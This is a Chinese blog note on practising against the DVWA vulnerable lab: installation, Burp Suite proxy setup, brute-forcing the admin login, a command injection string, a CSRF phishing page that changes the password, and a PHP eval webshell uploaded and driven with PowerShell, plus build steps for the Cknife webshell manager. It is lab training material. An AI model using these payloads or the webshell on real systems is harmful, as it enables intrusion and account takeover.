DVWA笔记
DVWA是什么?
DVWA(Damn Vulnerable Web Application)是一个开源的PHP/MySQL Web应用漏洞靶场,专门用来合法练习和测试Web安全漏洞。
DVWA的安装需要PHP环境以及mysql,我们使用phpstudy工具,里面集成了PHP和mysql,方便我们部署DVWA应用程序。然后我们在github中下载DVWA源码,并将源码放到phpstudy_pro\WWW\dvwa路径下即可。
然后我们还需要配置phpstudy_pro\WWW\dvwa\config\config.inc.php文件,主要是下面这些mysql配置,中途修改了数据库及其密码也需要相应改这个文件
# Database variables # WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup. # Please use a database dedicated to DVWA. # # If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user. # See README.md for more information on this. $_DVWA = array(); $_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: 'localhost'; $_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa'; $_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'root'; $_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'admin123'; $_DVWA[ 'db_port'] = getenv('DB_PORT') ?: '3306';
然后,我们启动Apache和Mysql服务

然后,我们访问:http://localhost/dvwa/ 就可以看到dvwa界面了


我们选择上面的重置数据库菜单,会自动为我们创建数据库表和表中的记录。(注意,可能会报错,提示ALTER TABLE users ADD COLUMN IF NOT EXISTS role VARCHAR(20) DEFAULT 'user';语法错误或者不能创建外键之类的,此时打开phpstudy_pro\WWW\dvwa\dvwa\includes\DBMS\MySQL.php去掉IF NOT EXISTS和不设置外键依赖就可以了)。
重置成功后,我们查看数据库发现已初始化了几张表和表中的数据

1 Burp Suite介绍
我们去https://portswigger.net/下载Burp Suite Community Edition版本,这个版本是免费的。Burp Suite Professional这个版本是收费的,我们暂时不用。
下载安装完毕,启动Burp之后会监听8080端口,如果我们想抓包,需要将浏览器的代理设置为127.0.0.1 8080,其实也就是需要设置本地计算机网络代理,设置之后该计算机所有访问Windows Internet模块的流量都会转发给代理ip和端口,这就达到了我们通过Burp监听网络流量的目的。
注意,设置好之后,我们在浏览器中访问网页时会提示“不安全的网络连接”,其实这个问题是因为,本地操作系统没有Burp的证书,浏览器访问时,Burp作为中间代理人将自己的证书发给浏览器,因此浏览器不信任这个证书。我们要做一步,将Burp证书安装到本地操作系统。
我们访问http://127.0.0.1:8080/,下载证书

下载下来一般是这个文件cacert.der,我们双击打开,并点击“安装证书”,安装时选项安装到“本地计算机”。选择“将所有证书放入下列存储”,然后点击“浏览”。在列表中勾选“受信任的根证书颁发机构”,点击“确定”,然后完成后续导入步骤

2 暴力破解 Brute Force
首先,我们将攻击难度设置为low

然后点击上方的 Brute Force

这就是我们的破解页面,我们的任务是使用穷举法破解admin的密码
我们使用上面介绍的Burp Suite进行爆破
这里需要注意的是:
- 不能开启Intercept,不然请求会被拦截到此处中止,需人工点击“Forward”才会继续转发流量。
- 访问dvwa不能使用172.0.0.1,要使用私有ip,因为Burp对回环测试地址做了特殊处理,不会走代理服务器。
我们页面随便输入一个密码,先观察一下

然后,我们打开Intruder(入侵者)菜单,将上面报文拷贝过来,并且在aaa处设置变量,然后导入穷举值(可能得密码列表),然后点击Start attack

然后,Burp会重复发送登录请求多次,尝试登录,结果如下,我们发现响应报文长度只有一个和其他都不一样,Length=4993

我们查看这个请求及其响应,发现这次登录成功了。因此,账号admin的密码就是password,爆破成功

3 命令注入
命令注入是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。
我们切换到Command Injection菜单,这里是在页面上输入一个ip地址,然后看能否ping通的功能,我们在输入框中输入下面命令,这个命令作用是ping一个地址然后列出服务器D盘中所有的文件和目录
127.0.0.1 && d: && dir
显然,这里发生了命令注入的情况。

注意,如果有中文乱码,请配置phpstudy_pro\WWW\dvwa\dvwa\includes\dvwaPage.inc.php,有好几处charset=utf-8,要全部修改成charset=gb2312
4 CSRF
CSRF全称Cross-site request forgery,即跨站请求伪造。是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
我们先看一下要攻击的页面,这个页面功能是修改adminde密码,当我们提交后,看地址栏账号密码是通过这个url进行修改的

因此我们伪造一个钓鱼页面,诱导用户点击,实现恶意修改密码的目的
<html lang="zh-CN"> <body> <button class="btn" id="redirectBtn">钓鱼按钮</button> <script> (function() { const btn = document.getElementById('redirectBtn'); // 添加点击事件:执行跳转 if (btn) { btn.addEventListener('click', function(e) { // 使用 window.location.href 进行跳转 window.location.href = 'http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#'; }); } })(); </script> </body> </html>
我们点击了按钮后,页面将会跳转,在跳转页面,我们可以看到,密码已被修改。

5 文件上传漏洞
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限

这里我们做个实验,实验是这样的,我们写一个木马程序,通过上面页面上传到服务器,然后通过这个木马程序执行一些例如列出文件、创建删除文件等操作
待上传的木马程序hack.php,其作用是执行传递过来的cmd参数
<? @eval($_POST['cmd']); ?>
然后,我们上传这个hack.php

然后,我们有两种方式发起攻击,第一种使用ckinfe工具,该工具可以列出服务器路径、获取命令行窗口等功能;第二种我们直接使用powershell等工具;ckinfe的安装见附件
这里我在配置好ckinfe准备发起攻击时,一直处于“正在连接...请稍后状态”,后面有时间再看具体原因。这里我们使用命令行发起攻击(输出有些地方中文乱码,后面再调)
PS C:\Users\root> $body = @{cmd='system("whoami");'} PS C:\Users\root> Invoke-RestMethod -Uri "http://127.0.0.1/dvwa/hackable/uploads/hack.php" -Method POST -Body $body desktop-p5c2eep\root PS C:\Users\root> $body = @{cmd='system("systeminfo");'} PS C:\Users\root> Invoke-RestMethod -Uri "http://127.0.0.1/dvwa/hackable/uploads/hack.php" -Method POST -Body $body ������: DESKTOP-P5C2EEP OS ����: Microsoft Windows 10 רҵ�� OS �汾: 10.0.19045 ��ȱ Build 19045 OS ������: Microsoft Corporation OS ����: ��������վ OS ��������: Multiprocessor Free ע���������: root ע�����֯: ��Ʒ ID: 00330-80000-00000-AA171
附1:cknife安装
下载源码:https://github.com/Chora10/Cknife
项目根路径下创建pom.xml
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.ms509</groupId> <artifactId>cknife</artifactId> <version>1.0-SNAPSHOT</version> <packaging>jar</packaging> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.sqlite</groupId> <artifactId>sqlite-jdbc</artifactId> <version>3.7.2</version> </dependency> <dependency> <groupId>org.pushingpixels</groupId> <artifactId>substance</artifactId> <version>7.3</version> </dependency> <dependency> <groupId>org.pushingpixels</groupId> <artifactId>trident</artifactId> <version>1.5</version> </dependency> </dependencies> <build> <sourceDirectory>${project.basedir}/src</sourceDirectory> <resources> <resource> <directory>${project.basedir}/src</directory> <includes> <include>**/*.png</include> <include>**/*.jpg</include> <include>**/*.gif</include> <include>**/*.ico</include> <include>**/*.properties</include> <include>**/*.xml</include> </includes> </resource> </resources> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-shade-plugin</artifactId> <version>3.5.0</version> <executions> <execution> <phase>package</phase> <goals> <goal>shade</goal> </goals> <configuration> <transformers> <transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"> <mainClass>com.ms509.ui.Cknife</mainClass> </transformer> </transformers> <shadedArtifactAttached>true</shadedArtifactAttached> <shadedClassifierName>full</shadedClassifierName> <filters> <filter> <artifact>*:*</artifact> <excludes> <exclude>META-INF/*.SF</exclude> <exclude>META-INF/*.DSA</exclude> <exclude>META-INF/*.RSA</exclude> <exclude>META-INF/MANIFEST.MF</exclude> </excludes> </filter> </filters> </configuration> </execution> </executions> </plugin> </plugins> </build> </project>
然后执行
mvn clean package
这样会生成一个jar包
我们运行这个jar包
java -jar cknife-1.0-SNAPSHOT-full.jar
如下,然后右键-添加,添加要访问的php脚本

浙公网安备 33010602011771号